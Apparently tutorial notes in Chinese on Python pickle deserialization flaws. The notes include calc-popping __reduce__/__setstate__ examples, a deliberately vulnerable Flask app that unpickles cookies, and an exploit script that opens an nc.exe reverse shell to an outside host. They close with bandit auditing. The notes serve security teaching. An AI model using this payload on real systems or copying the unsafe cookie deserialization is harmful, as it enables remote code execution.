python 反序列化
Python-反序列化函數使用
pickle.dump(obj, file) : 將對象序列化後保存到文件
pickle.load(file) : 讀取文件, 將文件中的序列化內容反序列化為對象
pickle.dumps(obj) : 將對象序列化成字元串格式的位元組流
pickle.loads(bytes_obj) : 將字元串格式的位元組流反序列化為對象
魔術方法:
reduce() 反序列化時調用
reduce_ex() 反序列化時調用
setstate() 反序列化時調用
getstate() 序列化時調用
各類語言函數:
Java: Serializable Externalizable介面、fastjson、jackson、gson、ObjectInputStream.read、ObjectObjectInputStream.readUnshared、XMLDecoder.read、ObjectYaml.loadXStream.fromXML、ObjectMapper.readValue、JSON.parseObject等
PHP: serialize()、 unserialize()
Python:pickle marshal PyYAML shelve PIL unzip
案例一:
import pickle
import os
\#反序列化魔術方法調用-__reduce__() __reduce_ex__() __setstate__()
class A(object):
def __reduce__(self):
print('反序列化調用')
return (os.system,('calc',))
a = A()
p_a = pickle.dumps(a)
pickle.loads(p_a)
print('==========')
print(p_a)
案例二:
class SerializePerson():
def __init__(self, name):
self.name = name
\# 構造 __setstate__ 方法
def __setstate__(self, name):
os.system('calc') # 惡意程式碼
tmp = pickle.dumps(SerializePerson('tom')) #序列化
pickle.loads(tmp) # 反序列化 此時會彈出計算器
Python-反序列化POP鏈構造
#CTF-反序列化漏洞利用-構造&RCE
環境介紹:利用Python-flask搭建的web應用,獲取當前用戶的資訊,進行展示,在獲取用戶的資訊時,通過對用戶數據進行反序列化獲取導致的安全漏洞!
-Server伺服器:
import pickle
import base64
from flask import Flask, request
app = Flask(__name__)
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
user = pickle.loads(user)
username = user["username"]
except:
username = "Guest"
return "Hello %s" % username
if __name__ == "__main__":
app.run(
host='192.168.1.3',
port=5000,
debug=True
)
伺服器開啟一個web服務
-Hacker伺服器:
import requests
import pickle
import os
import base64
class exp(object):
def __reduce__(self):
s='c:/nc.exe -e cmd 192.168.46.137 6666'
return (os.system, (s,))
e = exp()
s = pickle.dumps(e)
print(s)
response = requests.get("//192.168.1.3:5000/", cookies=dict(
user=base64.b64encode(s).decode()
))
print(response.content)
開啟監聽
攻擊者執行反彈shell
Python-自動化審計bandit使用
安裝:pip install bandit
linux:
安裝後會在當前Python目錄下bin
使用:bandit -r 需要審計的源碼目錄
windows:
安裝後會在當前Python目錄下script
使用:bandit -r 需要審計的源碼目錄